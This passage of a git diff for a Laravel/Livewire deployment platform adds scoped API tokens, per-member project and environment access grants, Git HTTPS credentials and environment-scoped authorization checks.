$this->application->git_https_password = $this->gitHttpsPassword; + } elseif ($this->hasGitHttpsPassword) { + $this->application->git_https_username = $this->gitHttpsUsername; + } + $this->application->save(); // Refresh to get the trimmed values from the model $this->application->refresh(); $this->syncData(false); @@ -85,6 +105,9 @@ class Source extends Component $this->gitCommitSha = $this->application->git_commit_sha; $this->privateKeyId = $this->application->private_key_id; $this->privateKeyName = data_get($this->application, 'private_key.name'); + $this->gitHttpsUsername = $this->application->git_https_username; + $this->gitHttpsPassword = null; + $this->hasGitHttpsPassword = filled($this->application->git_https_password); } } @@ -138,6 +161,9 @@ class Source extends Component if (str($this->gitCommitSha)->isEmpty()) { $this->gitCommitSha = 'HEAD'; } + if (filled($this->gitHttpsUsername) && blank($this->gitHttpsPassword) && ! $this->hasGitHttpsPassword) { + throw ValidationException::withMessages(['gitHttpsPassword' => 'Enter the password or token for this username.']); + } $this->syncData(true); $this->dispatch('success', 'Application source updated!'); $this->dispatch('configurationChanged'); @@ -146,6 +172,22 @@ class Source extends Component } } + public function removeGitHttpsCredential() + { + try { + $this->authorize('update', $this->application); + $this->application->forceFill([ + 'git_https_username' => null, + 'git_https_password' => null, + ])->save(); + $this->syncData(); + $this->dispatch('success', 'HTTPS credentials removed.'); + $this->dispatch('configurationChanged'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function changeSource($sourceId, $sourceType) { try { diff --git a/app/Livewire/Project/Index.php b/app/Livewire/Project/Index.php index e3ba5f4f3c..f8556a2eb1 100644 --- a/app/Livewire/Project/Index.php +++ b/app/Livewire/Project/Index.php @@ -72,7 +72,7 @@ class Index extends Component 'settingsHref' => auth()->user()->can('update', $project) ? route('project.edit', ['project_uuid' => $project->uuid]) : null, - 'addResourceHref' => $firstEnvironment && auth()->user()->can('createAnyResource') + 'addResourceHref' => $firstEnvironment && auth()->user()->can('createAnyResource', [$firstEnvironment]) ? route('project.resource.create', [ 'project_uuid' => $project->uuid, 'environment_uuid' => $firstEnvironment->uuid, diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index d004c3f963..524d04173e 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -38,8 +38,6 @@ class DockerCompose extends Component public function submit() { try { - $this->authorize('create', Service::class); - $this->validate([ 'dockerComposeRaw' => 'required', ]); @@ -53,6 +51,7 @@ class DockerCompose extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Service::class, $environment]); $destination_uuid = $this->query['destination'] ?? null; $destination = find_resource_destination_for_current_team($destination_uuid); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index ab6063e091..0e660abe3c 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -83,8 +83,6 @@ class DockerImage extends Component public function submit() { - $this->authorize('create', Application::class); - $this->validate([ 'imageName' => ValidationPatterns::dockerImageNameRules(required: true), 'imageTag' => ValidationPatterns::dockerImageTagRules(), @@ -123,6 +121,7 @@ class DockerImage extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index dacfbe4881..e1a1d8e7f4 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -201,8 +201,6 @@ class GithubPrivateRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - // Validate git repository parts and branch $validator = validator([ 'selected_repository_owner' => $this->selected_repository_owner, @@ -231,6 +229,7 @@ class GithubPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $application_init = [ 'name' => generate_application_name($this->selected_repository_owner.'/'.$this->selected_repository_repo, $this->selected_branch_name), diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index 2a74efc50b..f7f57acd02 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -130,7 +130,9 @@ class GithubPrivateRepositoryDeployKey extends Component public function setPrivateKey($private_key_id) { - $this->authorize('create', Application::class); + $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($private_key_id); $this->private_key_id = $privateKey->id; @@ -151,8 +153,6 @@ class GithubPrivateRepositoryDeployKey extends Component public function submit() { - $this->authorize('create', Application::class); - $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id); $this->validate(); @@ -171,6 +171,7 @@ class GithubPrivateRepositoryDeployKey extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); if ($this->git_source === 'other') { $application_init = [ 'name' => generate_random_name(), diff --git a/app/Livewire/Project/New/GitlabPrivateRepository.php b/app/Livewire/Project/New/GitlabPrivateRepository.php index a11fc69c01..fe30d8bb50 100644 --- a/app/Livewire/Project/New/GitlabPrivateRepository.php +++ b/app/Livewire/Project/New/GitlabPrivateRepository.php @@ -161,8 +161,6 @@ class GitlabPrivateRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - $validator = validator([ 'selected_repository_path' => $this->selected_repository_path, 'selected_branch_name' => $this->selected_branch_name, @@ -188,6 +186,7 @@ class GitlabPrivateRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $gitlab_app = $this->getGitlabApp(); diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 3ea109b4a0..daf713a679 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -277,8 +277,6 @@ class PublicGitRepository extends Component public function submit() { try { - $this->authorize('create', Application::class); - $this->validate(); // Additional validation for git repository and branch @@ -313,6 +311,7 @@ class PublicGitRepository extends Component $project = Project::ownedByCurrentTeam()->where('uuid', $project_uuid)->firstOrFail(); $environment = $project->environments()->where('uuid', $environment_uuid)->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); if ($this->git_source === 'other') { $application_init = [ diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 24f21b4cb5..e04ff83cf2 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -32,8 +32,6 @@ CMD ["nginx", "-g", "daemon off;"] public function submit() { - $this->authorize('create', Application::class); - $this->validate([ 'dockerfile' => 'required', ]); @@ -46,6 +44,7 @@ CMD ["nginx", "-g", "daemon off;"] $project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); + $this->authorize('create', [Application::class, $environment]); $port = get_port_from_dockerfile($this->dockerfile); if (! $port) { diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index d523fb3b9f..7faf90c500 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -17,8 +17,6 @@ class Create extends Component public function mount() { - $this->authorize('createAnyResource'); - $type = str(request()->query('type')); $destination_uuid = request()->query('destination'); $database_image = request()->query('database_image'); @@ -32,6 +30,7 @@ class Create extends Component if (! $environment) { return redirect()->route('dashboard'); } + $this->authorize('createAnyResource', [$environment]); if (isset($type) && isset($destination_uuid)) { $destination = find_resource_destination_for_current_team($destination_uuid); if (! $destination) { diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 8ffae393a7..37f3f1b59a 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -302,7 +302,7 @@ class All extends Component private function canViewEnvironmentValues(): bool { - return auth()->user()?->can('manageEnvironment', $this->resource) ?? false; + return auth()->user()?->can('viewSensitive', $this->resource) ?? false; } private function nullLockedValues($envs) @@ -848,8 +848,7 @@ class All extends Component } // Otherwise keep order from docker-compose file - // Compose content is visible only to users who can edit the resource. - $canViewValues = auth()->user()?->can('update', $this->resource) ?? false; + $canViewValues = $this->canViewEnvironmentValues(); return $hardcodedVars->map(fn (array $variable): array => [ ...$variable, diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 73174728af..a19693a4a5 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -164,7 +164,7 @@ class Show extends Component */ public function loadValues(): void { - $this->authorize('update', $this->env); + $this->authorize('viewSensitive', $this->env); if ($this->valuesLoaded) { return; @@ -289,7 +289,7 @@ class Show extends Component private function valuesHiddenForUser(): bool { - return auth()->user()?->cannot('update', $this->env) ?? true; + return auth()->user()?->cannot('viewSensitive', $this->env) ?? true; } public function checkEnvs() diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index 3ede8bc45a..4777345546 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -496,10 +496,11 @@ class GetLogs extends Component */ private function executeLogCommand(Server $server, string $command, int $maxBytes): array { - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $this->boundedLogCommand($command, $maxBytes)); - // boundedLogCommand() caps the output at $maxBytes + 1, so one extra byte means truncation. - $output = Process::timeout(config('constants.ssh.command_timeout'))->run($sshCommand)->output(); + $output = Process::timeout(config('constants.ssh.command_timeout')) + ->input(SshMultiplexingHelper::sshBatchInput($this->boundedLogCommand($command, $maxBytes))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($server)) + ->output(); $truncated = strlen($output) > $maxBytes; // Invalid UTF-8 from a container would make the JSON response fail, so the viewer would stay empty. $logs = rtrim(sanitize_utf8_text(removeAnsiColors($truncated ? substr($output, 0, $maxBytes) : $output)), "\n"); diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index a2f2c42918..16fabe6c01 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -60,11 +60,10 @@ class Show extends Component public function render(): View { - $canUpdateProject = auth()->user()->can('update', $this->project); - $canCreateResource = auth()->user()->can('createAnyResource'); + $user = auth()->user(); return view('livewire.project.show', [ - 'environmentsJs' => $this->project->environments->sort(fn (Environment $first, Environment $second): int => Environment::compareNames($first->name, $second->name))->values()->map(function (Environment $environment) use ($canCreateResource, $canUpdateProject): array { + 'environmentsJs' => $this->project->environments->sort(fn (Environment $first, Environment $second): int => Environment::compareNames($first->name, $second->name))->values()->map(function (Environment $environment) use ($user): array { $resourceCount = collect([ $environment->applications_count, $environment->services_count, @@ -88,13 +87,13 @@ class Show extends Component 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, ]), - 'settingsHref' => $canUpdateProject + 'settingsHref' => $user->can('update', $environment) ? route('project.environment.edit', [ 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, ]) : null, - 'addResourceHref' => $canCreateResource + 'addResourceHref' => $user->can('createAnyResource', [$environment]) ? route('project.resource.create', [ 'project_uuid' => $this->project->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php index 549414f1b8..94b6e65507 100644 --- a/app/Livewire/Security/ApiTokens.php +++ b/app/Livewire/Security/ApiTokens.php @@ -2,9 +2,17 @@ namespace App\Livewire\Security; +use App\Enums\AccessLevel; +use App\Enums\AccessScope; +use App\Models\Environment; +use App\Models\Project; +use App\Services\Access\AccessResolver; +use App\Services\Access\Grant; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Support\Facades\DB; use Illuminate\Validation\Rule; use Laravel\Sanctum\PersonalAccessToken; +use Livewire\Attributes\Computed; use Livewire\Attributes\Locked; use Livewire\Component; @@ -26,6 +34,18 @@ class ApiTokens extends Component public array $permissions = ['read']; + /** + * 'team' = every project and resource of the team (scopes null), 'selected' = only $selectedScopes. + */ + public string $scopeMode = 'team'; + + /** + * Picked scopes as "project:", "environment:", or "resource:". + * + * @var list + */ + public array $selectedScopes = []; + public array $expirationOptions = [ 7 => '7 days', 30 => '30 days', @@ -46,9 +66,49 @@ class ApiTokens extends Component #[Locked] public bool $canUseSensitivePermissions = false; + #[Locked] + public bool $canUseDeletePermissions = false; + + #[Locked] + public bool $canUseTeamScope = false; + public function render() { - return view('livewire.security.api-tokens'); + return view('livewire.security.api-tokens', [ + 'scopeLabels' => collect($this->scopeOptions)->reject(fn (array $option) => $option['header'] ?? false)->pluck('label', 'value'), + ]); + } + + /** + * Projects, environments, and resources of the current team that the user can see, for the scope picker. + * + * @return list + */ + #[Computed] + public function scopeOptions(): array + { + $projects = Project::query()->where('team_id', currentTeam()->id)->orderBy('name')->get(['id', 'uuid', 'name']); + $environments = Environment::query()->whereIn('project_id', $projects->pluck('id'))->get(['id', 'uuid', 'name', 'project_id']); + $projectNames = $projects->pluck('name', 'id'); + $environmentPaths = $environments->mapWithKeys(fn (Environment $environment) => [ + $environment->id => $projectNames[$environment->project_id].' / '.$environment->name, + ]); + + $resources = collect(AccessResolver::RESOURCE_MODELS) + ->flatMap(fn (string $model) => $model::query()->whereIn('environment_id', $environments->pluck('id'))->get(['uuid', 'name', 'environment_id'])) + ->map(fn ($resource) => ['value' => "resource:{$resource->uuid}", 'label' => $environmentPaths[$resource->environment_id].' / '.$resource->name]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE) + ->values(); + + return [ + ...($projects->isEmpty() ? [] : [['value' => '__projects', 'label' => 'Projects', 'header' => true]]), + ...$projects->map(fn (Project $project) => ['value' => "project:{$project->uuid}", 'label' => $project->name])->all(), + ...($environments->isEmpty() ? [] : [['value' => '__environments', 'label' => 'Environments', 'header' => true]]), + ...$environments->map(fn (Environment $environment) => ['value' => "environment:{$environment->uuid}", 'label' => $environmentPaths[$environment->id]]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE)->values()->all(), + ...($resources->isEmpty() ? [] : [['value' => '__resources', 'label' => 'Resources', 'header' => true]]), + ...$resources->all(), + ]; } public function mount() @@ -57,6 +117,9 @@ class ApiTokens extends Component $this->canUseWritePermissions = auth()->user()->can('useWritePermissions', PersonalAccessToken::class); $this->canUseDeployPermissions = auth()->user()->can('useDeployPermissions', PersonalAccessToken::class); $this->canUseSensitivePermissions = auth()->user()->can('useSensitivePermissions', PersonalAccessToken::class); + $this->canUseDeletePermissions = auth()->user()->can('useDeletePermissions', PersonalAccessToken::class); + $this->canUseTeamScope = app(AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); + $this->scopeMode = $this->canUseTeamScope ? 'team' : 'selected'; $this->getTokens(); } @@ -99,6 +162,13 @@ class ApiTokens extends Component return; } + if ($permissionToUpdate == 'delete' && ! auth()->user()->can('useDeletePermissions', PersonalAccessToken::class)) { + $this->dispatch('error', 'You do not have permission to use delete permissions.'); + $this->permissions = array_diff($this->permissions, ['delete']); + + return; + } + if ($permissionToUpdate == 'root' && in_array('root', $this->permissions, true)) { $this->permissions = ['root']; } elseif ($permissionToUpdate == 'read:sensitive' && ! in_array('read', $this->permissions, true)) { @@ -120,35 +190,45 @@ class ApiTokens extends Component 'description' => 'required|min:3|max:255', 'expiresInDays' => 'nullable|integer|in:7,30,60,90,365', 'permissions' => 'required|array|min:1', - 'permissions.*' => ['required', 'string', Rule::in(['read', 'read:sensitive', 'write', 'write:sensitive', 'deploy', 'root'])], + 'permissions.*' => ['required', 'string', Rule::in(['read', 'read:sensitive', 'write', 'write:sensitive', 'deploy', 'delete', 'root'])], + 'scopeMode' => ['required', Rule::in(['team', 'selected'])], + 'selectedScopes' => ['exclude_unless:scopeMode,selected', 'required', 'array', 'min:1'], + 'selectedScopes.*' => ['string', 'regex:/^(project|environment|resource):[A-Za-z0-9_-]+$/'], + ], [ + 'selectedScopes.required' => 'Select at least one project, environment, or resource.', ]); $permissions = array_values($validated['permissions']); + $teamId = currentTeam()->id; + $scopes = $this->scopeMode === 'selected' ? $this->parseSelectedScopes($teamId) : null; - // Re-evaluate policies fresh against the current authenticated user. - // Never trust $this->canUse* booleans — they come from the Livewire - // snapshot which can be replayed from another user's session. - if (in_array('root', $permissions, true) && ! auth()->user()->can('useRootPermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with root permissions.'); + // Never trust the $this->canUse* booleans: check the current user's access in the team again. + $resolver = app(AccessResolver::class); + $isAdmin = auth()->user()->isAdminOfTeam($teamId); + if (in_array('write:sensitive', $permissions, true) && ! $isAdmin) { + throw new \Exception('You do not have permission to create tokens with write:sensitive permissions.'); } - - if (array_intersect(['write', 'write:sensitive'], $permissions) && ! auth()->user()->can('useWritePermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with write permissions.'); - } - - if (in_array('deploy', $permissions, true) && ! auth()->user()->can('useDeployPermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with deploy permissions.'); - } - - if (in_array('read:sensitive', $permissions, true) && ! auth()->user()->can('useSensitivePermissions', PersonalAccessToken::class)) { - throw new \Exception('You do not have permission to create tokens with read:sensitive permissions.'); + $levels = AccessLevel::parseMany($permissions); + $grants = $scopes === null + ? [Grant::team($levels)] + : array_map(fn (Grant $scope) => new Grant($scope->scope, $scope->uuid, $levels), $scopes); + if (! $resolver->userHolds(auth()->user(), $teamId, $grants)) { + throw new \Exception('A token cannot have more access than you have. Choose fewer permissions or narrower projects, environments, or resources.'); } $expiresAt = filled($validated['expiresInDays'] ?? null) ? now()->addDays((int) $validated['expiresInDays']) : null; - $token = auth()->user()->createToken($this->description, $permissions, $expiresAt); + $storedScopes = $scopes === null ? null : array_map(fn (Grant $scope) => ['scope' => $scope->scope->value, 'uuid' => $scope->uuid], $scopes); + // One transaction, so a token never exists team-wide when saving its scopes fails. + $token = DB::transaction(function () use ($permissions, $expiresAt, $teamId, $storedScopes) { + $token = auth()->user()->createToken($this->description, $permissions, $expiresAt, $teamId); + $token->accessToken->forceFill(['scopes' => $storedScopes])->save(); + + return $token; + }); auditLog('ui.api_token.created', [ - 'team_id' => currentTeam()->id, + 'team_id' => $teamId, 'api_token_name' => $this->description, 'abilities' => $permissions, + 'scopes' => $storedScopes, 'expires_at' => $expiresAt?->toIso8601String(), ]); $this->getTokens(); @@ -159,6 +239,31 @@ class ApiTokens extends Component } } + /** + * @return list scopes without levels; a token's levels are its abilities + */ + private function parseSelectedScopes(int $teamId): array + { + $resolver = app(AccessResolver::class); + $scopes = []; + foreach (array_unique($this->selectedScopes) as $selected) { + [$scope, $uuid] = explode(':', $selected, 2); + $grant = new Grant(AccessScope::from($scope), $uuid, []); + $layer = $resolver->resolve($teamId, [new Grant($grant->scope, $uuid, [AccessLevel::Read])]); + $existsInTeam = match ($grant->scope) { + AccessScope::Project => $layer->visibleProjectIds() !== [], + AccessScope::Environment => $layer->fullEnvironmentIds() !== [], + default => $layer->resourceUuids() !== [], + }; + if (! $existsInTeam) { + throw new \Exception('A selected project, environment, or resource does not exist in this team.'); + } + $scopes[] = $grant; + } + + return $scopes; + } + public function revoke(int $id) { try { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index 12614800ae..6ae6a357c4 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -377,6 +377,11 @@ class LogDrains extends Component 'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'], 'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'], ]), + 'cloudwatch' => $this->validate([ + 'logDrainCloudwatchRegion' => ['required', 'max:64', 'regex:/^[a-z]{2}(-[a-z]+)+-\d+$/'], + 'logDrainCloudwatchGroup' => ['required', 'regex:/^[\.\-_\/#A-Za-z0-9]{1,512}$/'], + 'logDrainCloudwatchStreamPrefix' => ['string', 'nullable', 'max:256', 'regex:/^[A-Za-z0-9_\-\.\/#]*$/'], + ]), default => throw new \InvalidArgumentException('Unknown log drain type.'), }; } diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index aeaf525505..eca84e2e1a 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -104,7 +104,10 @@ class Member extends Component $teamId = currentTeam()->id; $previousRole = Role::from($this->getMemberRole()); DB::transaction(function () use ($teamId, $role, $previousRole): void { - $this->member->teams()->updateExistingPivot($teamId, ['role' => $role->value]); + // A member gets the default team-wide access again. + $this->member->teams()->updateExistingPivot($teamId, $role === Role::MEMBER + ? ['role' => $role->value, 'access' => null] + : ['role' => $role->value]); // A promotion keeps the tokens: the API checks the abilities against the role on each request. if ($role->lt($previousRole)) { RevokeUserTeamTokens::forUserTeam($this->member, $teamId); diff --git a/app/Livewire/Team/Member/Access.php b/app/Livewire/Team/Member/Access.php new file mode 100644 index 0000000000..7c085fe1d3 --- /dev/null +++ b/app/Livewire/Team/Member/Access.php @@ -0,0 +1,243 @@ +:` for a project, environment, or resource of the team. + */ +class Access extends Component +{ + use AuthorizesRequests; + + #[Locked] + public int $teamId; + + #[Locked] + public ?int $memberId = null; + + public bool $open = false; + + /** @var list}> */ + public array $grants = []; + + public function mount(): void + { + $team = currentTeam(); + $this->authorize('manageMembers', $team); + $this->teamId = $team->id; + } + + #[On('open-member-access')] + public function openFor(int $memberId): void + { + $this->authorize('manageMembers', Team::findOrFail($this->teamId)); + $this->memberId = $memberId; + $this->resetValidation(); + + $stored = $this->member()->pivot->access; + $grants = $stored === null ? AccessResolver::defaultMemberGrants() : Grant::listFrom($stored); + $this->grants = array_map( + fn (Grant $grant) => $this->row($grant->scope === AccessScope::Team ? 'team' : "{$grant->scope->value}:{$grant->uuid}", $grant->levels), + $grants, + ); + $this->open = true; + } + + public function addGrant(): void + { + $this->grants[] = $this->row('', []); + } + + public function removeGrant(string $key): void + { + $this->grants = array_values(array_filter($this->grants, fn (array $row) => $row['key'] !== $key)); + } + + public function applyPreset(string $preset, ?string $projectUuid = null): void + { + $this->grants = match ($preset) { + 'viewer' => [$this->row('team', [AccessLevel::Read])], + 'developer' => [$this->row("project:{$projectUuid}", [AccessLevel::Write, AccessLevel::Deploy])], + 'operator' => [$this->row('team', [AccessLevel::Write, AccessLevel::Deploy, AccessLevel::Delete])], + 'full' => [$this->row('team', [AccessLevel::Root])], + default => $this->grants, + }; + $this->resetValidation(); + } + + public function save(): void + { + $this->authorize('manageMembers', Team::findOrFail($this->teamId)); + $member = $this->member(); + + $validTargets = collect($this->scopeOptions)->reject(fn (array $option) => $option['header'] ?? false)->pluck('value')->all(); + $grants = []; + $errors = []; + foreach ($this->grants as $index => $row) { + $target = (string) ($row['target'] ?? ''); + $levels = array_values(array_filter(AccessLevel::cases(), fn (AccessLevel $level) => (bool) ($row['levels'][$level->name] ?? false))); + + if (! in_array($target, $validTargets, true)) { + $errors["grants.{$index}.target"] = 'Choose a scope in this team.'; + } + if ($levels === []) { + $errors["grants.{$index}.levels"] = 'Choose at least one level.'; + } + if (isset($errors["grants.{$index}.target"]) || isset($errors["grants.{$index}.levels"])) { + continue; + } + + [$scope, $uuid] = $target === 'team' ? ['team', null] : explode(':', $target, 2); + $grants[] = new Grant(AccessScope::from($scope), $uuid, $levels); + } + if ($errors !== []) { + throw ValidationException::withMessages($errors); + } + + $member->teams()->updateExistingPivot($this->teamId, ['access' => json_encode(Grant::listToArray($grants))]); + app(AccessResolver::class)->flush(); + + auditLog('ui.team_member.access_updated', [ + 'team_id' => $this->teamId, + 'member_id' => $member->id, + 'member_name' => $member->name, + 'member_email' => $member->email, + 'access' => Grant::listToArray($grants), + ]); + + $this->open = false; + $this->dispatch('success', 'Access saved.'); + $this->dispatch('reloadWindow'); + } + + /** + * Every project, environment, and resource of the team, for the scope picker. + * Queries skip the access-grant scope: only owners and admins open this editor, and they see the whole team. + * + * @return list + */ + #[Computed] + public function scopeOptions(): array + { + $projects = Project::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->where('team_id', $this->teamId) + ->orderBy('name') + ->get(['id', 'uuid', 'name']); + $environments = Environment::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('project_id', $projects->pluck('id')) + ->get(['id', 'uuid', 'name', 'project_id']); + $projectNames = $projects->pluck('name', 'id'); + $environmentPaths = $environments->mapWithKeys(fn (Environment $environment) => [ + $environment->id => $projectNames[$environment->project_id].' / '.$environment->name, + ]); + + $resources = collect(AccessResolver::RESOURCE_MODELS) + ->flatMap(fn (string $model) => $model::withoutGlobalScope(VisibleThroughAccessGrants::class) + ->whereIn('environment_id', $environments->pluck('id')) + ->get(['uuid', 'name', 'environment_id'])) + ->map(fn ($resource) => ['value' => "resource:{$resource->uuid}", 'label' => $environmentPaths[$resource->environment_id].' / '.$resource->name]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE) + ->values(); + + return [ + ['value' => '__team', 'label' => 'Team', 'header' => true], + ['value' => 'team', 'label' => 'Whole team'], + ...($projects->isEmpty() ? [] : [['value' => '__projects', 'label' => 'Projects', 'header' => true]]), + ...$projects->map(fn (Project $project) => ['value' => "project:{$project->uuid}", 'label' => $project->name])->all(), + ...($environments->isEmpty() ? [] : [['value' => '__environments', 'label' => 'Environments', 'header' => true]]), + ...$environments->map(fn (Environment $environment) => ['value' => "environment:{$environment->uuid}", 'label' => $environmentPaths[$environment->id]]) + ->sortBy('label', SORT_NATURAL | SORT_FLAG_CASE)->values()->all(), + ...($resources->isEmpty() ? [] : [['value' => '__resources', 'label' => 'Resources', 'header' => true]]), + ...$resources->all(), + ]; + } + + /** + * Short description of a member's access for the members list. + */ + public static function summary(mixed $storedAccess): string + { + if ($storedAccess === null) { + return 'Team-wide read (default)'; + } + + $grants = array_filter(Grant::listFrom($storedAccess), fn (Grant $grant) => $grant->levels !== []); + if ($grants === []) { + return 'No access'; + } + + $parts = []; + foreach ($grants as $grant) { + if ($grant->scope === AccessScope::Team) { + $parts[] = 'Team: '.implode(', ', array_map(fn (AccessLevel $level) => Str::lower($level->label()), $grant->levels)); + } + } + $counts = array_count_values(array_map(fn (Grant $grant) => $grant->scope->value, $grants)); + foreach ([AccessScope::Project, AccessScope::Environment, AccessScope::Resource] as $scope) { + if (isset($counts[$scope->value])) { + $parts[] = $counts[$scope->value].' '.Str::plural($scope->value, $counts[$scope->value]); + } + } + + return implode(' + ', $parts); + } + + public function render(): View + { + if ($this->memberId === null) { + return view('livewire.team.member.access', ['member' => null]); + } + $member = $this->member(); + + return view('livewire.team.member.access', [ + 'member' => $member, + 'team' => Team::findOrFail($this->teamId), + 'currentSummary' => self::summary($member->pivot->access), + 'levels' => AccessLevel::cases(), + 'projectOptions' => collect($this->scopeOptions)->filter(fn (array $option) => str_starts_with($option['value'], 'project:'))->values(), + ]); + } + + private function member(): User + { + $member = Team::findOrFail($this->teamId)->members()->whereKey($this->memberId)->first(); + abort_if($member === null || $member->pivot->role !== Role::MEMBER->value, 404); + + return $member; + } + + /** + * @param list $levels + * @return array{key: string, target: string, levels: array} + */ + private function row(string $target, array $levels): array + { + return [ + 'key' => Str::random(10), + 'target' => $target, + 'levels' => collect(AccessLevel::cases())->mapWithKeys(fn (AccessLevel $level) => [$level->name => in_array($level, $levels, true)])->all(), + ]; + } +} diff --git a/app/Mcp/Concerns/BuildsResponse.php b/app/Mcp/Concerns/BuildsResponse.php index 59c19889f5..6cde90dc07 100644 --- a/app/Mcp/Concerns/BuildsResponse.php +++ b/app/Mcp/Concerns/BuildsResponse.php @@ -48,7 +48,7 @@ trait BuildsResponse 'clickhouse_admin_password', // app/env secrets - 'value', 'real_value', 'http_basic_auth_password', + 'value', 'real_value', 'http_basic_auth_password', 'git_https_password', // free-form commands / configurations can embed credentials 'git_full_url', diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index d77455b170..ced115cae7 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -2,24 +2,15 @@ namespace App\Mcp\Concerns; +use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; +use App\Models\Server; +use App\Services\Access\AccessResolver; +use Illuminate\Database\Eloquent\Builder; use Laravel\Mcp\Request; use Laravel\Mcp\Response; trait ResolvesTeam { - /** 